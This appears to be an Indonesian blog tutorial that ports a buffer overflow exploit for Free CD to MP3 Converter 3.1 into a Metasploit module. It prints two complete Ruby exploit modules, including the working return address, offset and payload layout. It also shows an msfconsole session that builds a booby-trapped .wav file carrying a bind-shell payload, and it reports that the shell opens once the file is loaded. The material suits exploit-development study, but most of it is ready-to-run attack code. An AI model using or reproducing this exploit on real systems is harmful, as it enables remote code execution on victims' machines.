Porting Your Exploit to Metasploit
Beberapa waktu yang lalu saya udah memberikan tutorial basic exploit development (direct return technique) dan exploit development berbasis SEH. Sekarang mari kita porting exploit tersebut ke Metasploit Framework agar exploit tersebut semakin reliable dan bisa menggunakan macam-macam payload, fitur-fitur canggih yang ada di Metasploit.
Kita akan meng-konversi exploit yang pertama, yaitu Free CD to MP3 Converter. Sebelum itu, kita kumpulkan poin-poin penting yang membuat exploit tersebut berjalan dengan baik, seperti berikut:
junk = "\x41" * 4112 # jumlah sampah yang dikirim eip = "\x91\x3b\x43\x00" # 0x00463b91 FFE4 JMP ESP at cdextract.exe nops = "\x90" * 16 espdata = "\x90" * (5000 - len(junk+eip+nops)
Dulu saya melakukan proses exploit Free CD to MP3 Converter pada sistem Windows XP SP3 versi NIST FDCC (Federal Desktop Core Configuration), tapi kali ini saya melakukannya pada sistem Windows XP SP3 versi umum, seharusnya ini tidak akan menjadi masalah berarti karena alamat JMP ESP yang saya gunakan kali ini berasal dari module cdextract.exe.
Kita akan coba langsung meng-konversi exploit Free CD to MP3 Converter ke format Metasploit, dan akan saya jelaskan bagian-bagian yang penting. Karena proses eksploitasi Free CD to MP3 Converter menggunakan sebuah file wav (sehingga dikategorikan sebagai file format exploit), maka kita akan menggunakan salah satu exploit dari Metasploit sebagai template, yaitu a-pdf_wav_to_mp3.rb terdapat pada direktori /opt/framework/msf3/modules/exploits/windows/fileformat/
## # $Id: a-pdf_wav_to_mp3.rb 12196 2011-04-01 00:51:33Z egypt $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'A-PDF WAV to MP3 v1.0.0 Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When the application is used to import a specially crafted m3u file, a buffer overflow occurs allowing arbitrary code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'd4rk-h4ck3r', # Original Exploit 'Dr_IDE', # SEH Exploit 'dookie' # MSF Module ], 'Version' => '$Revision: 12196 $', 'References' => [ [ 'OSVDB', '67241' ], [ 'URL', 'http://www.exploit-db.com/exploits/14676/' ], [ 'URL', 'http://www.exploit-db.com/exploits/14681/' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x0a", 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Universal', { 'Ret' => 0x0047265c, 'Offset' => 4132 } ], # p/p/r in wavtomp3.exe ], 'Privileged' => false, 'DisclosureDate' => 'Aug 17 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']), ], self.class) end def exploit sploit = rand_text_alpha_upper(target['Offset']) sploit << generate_seh_payload(target.ret) print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end end
Bagian yang perlu diperhatikan adalah:
-
include Msf::Exploit::FILEFORMAT
bagian ini menandakan bahwa exploit ini termasuk dalam fileformat exploit.
-
Payload
bagian ini berisi space, badchars, dll
-
Targets
bagian ini berisi offset
-
def exploit
bagian ini berisi urutan eksploitasi.
Mari kita gabungkan informasi yang kita miliki diawal kedalam contoh exploit yang sudah ada.
## ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Free CD to MP3 Converter 3.1 Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in Free CD to MP3 Converter 3.1. When the application is used to import a specially crafted m3u file, a buffer overflow occurs allowing arbitrary code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'C4SS!0 G0M3S', # Original Exploit 'modpr0be' # MSF Module ], 'References' => [ [ 'OSVDB', '69116' ], [ 'URL', 'http://www.exploit-db.com/exploits/15480/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x0a\x1a\x0f", 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP Universal', { 'Ret' => 0x00463B91, # perintah JMP ESP yang akan menimpa EIP. 'Offset' => 4112 } ], # jmp esp in cdextract.exe, jumlah offset yang dicapai untuk menimpa EIP ], 'Privileged' => false, 'DisclosureDate' => 'Nov 10 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']), ], self.class) end def exploit sploit = rand_text_alpha(target['Offset']) sploit << [target.ret].pack('V') sploit << make_nops(32) sploit << payload.encoded sploit << make_nops(5000 - (payload.encoded.length)) print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end end
Perhatikan bagian target pada script ruby diatas, terdapat bagian-bagian berikut:
Ret => 0x00463B91
adalah perintah JMP ESP yang akan menimpa EIP.
Offset => 4112
adalah jumlah offset yang dicapai untuk menimpa EIP ?
Lalu bagian paling penting dari script tersebut, yaitu def exploit;
rand_text_alpha(target['Offset']
bagian ini adalah function dari Metasploit untuk men-generate sejumlah karakter alphanumeric sesuai dengan Offset yang telah kita tentukan di option Target sebelumnya. Setelah offset memenuhi stack dengan jumlah 4112 bytes, maka kita juga sudah tahu bahwa setelah itu EIP akan tertimpa sebanyak 4 bytes, sehingga option berikutnya [target.ret].pack(‘V’) memanggil alamat Ret => 0x00463B91 yang telah kita tentukan sebelumnya dan segera menimpa EIP. Setelah itu
make_nops(32)
akan menciptakan Nopsled sebanyak 32 bytes agar menjadi ‘landasan kosong’ sebelum mencapai shellcode. Bagian berikutnya,
payload.encoded
adalah function dari Metasploit untuk men-generate payload yang biasa kita gunakan pada Metasploit (misal: set payload windows/shell_bind_tcp). Terakhir, saya menambahkan Nopsled untuk melengkapi buffer yang saya kirim sebelumnya agar mencapai 5000 bytes (sesuai dengan buffer yang saya kirim sebelumnya). Lalu function
file_create(sploit)
menulis variable sploit dan menciptakan file msf.wav.
Simpan file diatas dengan nama freecdmp3_bof.rb dan copy ke folder /opt/framework/msf3/modules/exploits/windows/fileformat/ agar dapat digunakan oleh Metasploit. Berikut penggunaannya pada msfconsole:
=[ metasploit v4.0.1-dev [core:4.0 api:1.0] + -- --=[ 738 exploits - 376 auxiliary - 82 post + -- --=[ 228 payloads - 27 encoders - 8 nops =[ svn r13774 updated yesterday (2011.09.22) msf > use exploit/windows/fileformat/freecdmp3_bof msf exploit(freecdmp3_wav) > info Name: Free CD to MP3 Converter 3.1 Buffer Overflow Module: exploit/windows/fileformat/freecdmp3_bof Version: 0 Platform: Windows Privileged: No License: Metasploit Framework License (BSD) Rank: Normal Provided by: C4SS!0 G0M3S modpr0be Available targets: Id Name -- ---- 0 Windows XP Universal Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME msf.wav no The file name. Payload information: Space: 800 Avoid: 4 characters Description: This module exploits a buffer overflow in Free CD to MP3 Converter 3.1. When the application is used to import a specially crafted wav file, a buffer overflow occurs allowing arbitrary code execution. References: http://www.osvdb.org/69116 http://www.exploit-db.com/exploits/15480/ msf exploit(freecdmp3_bof) > set payload windows/shell_bind_tcp payload => windows/shell_bind_tcp msf exploit(freecdmp3_bof) > set lport 4321 lport => 4321 msf exploit(freecdmp3_bof) > exploit [*] Creating 'msf.wav' file ... [*] Generated output file /home/tom/.msf4/data/exploits/msf.wav msf exploit(freecdmp3_bof) >
Dan ketika di load oleh program Free CD to MP3 Converter, sekilas program akan terlihat ‘hang’ tapi jika kita lihat melalui netstat:
Terdapat port 4321 yang sedang LISTENING. Dan ketika kita melakukan koneksi ke port tersebut
Kita berhasil mengkonversi exploit yang sudah ada ke dalam Metasploit. Sekarang coba porting exploit berbasis SEH yang kemarin sudah kita kerjakan sama-sama. Selamat mencoba!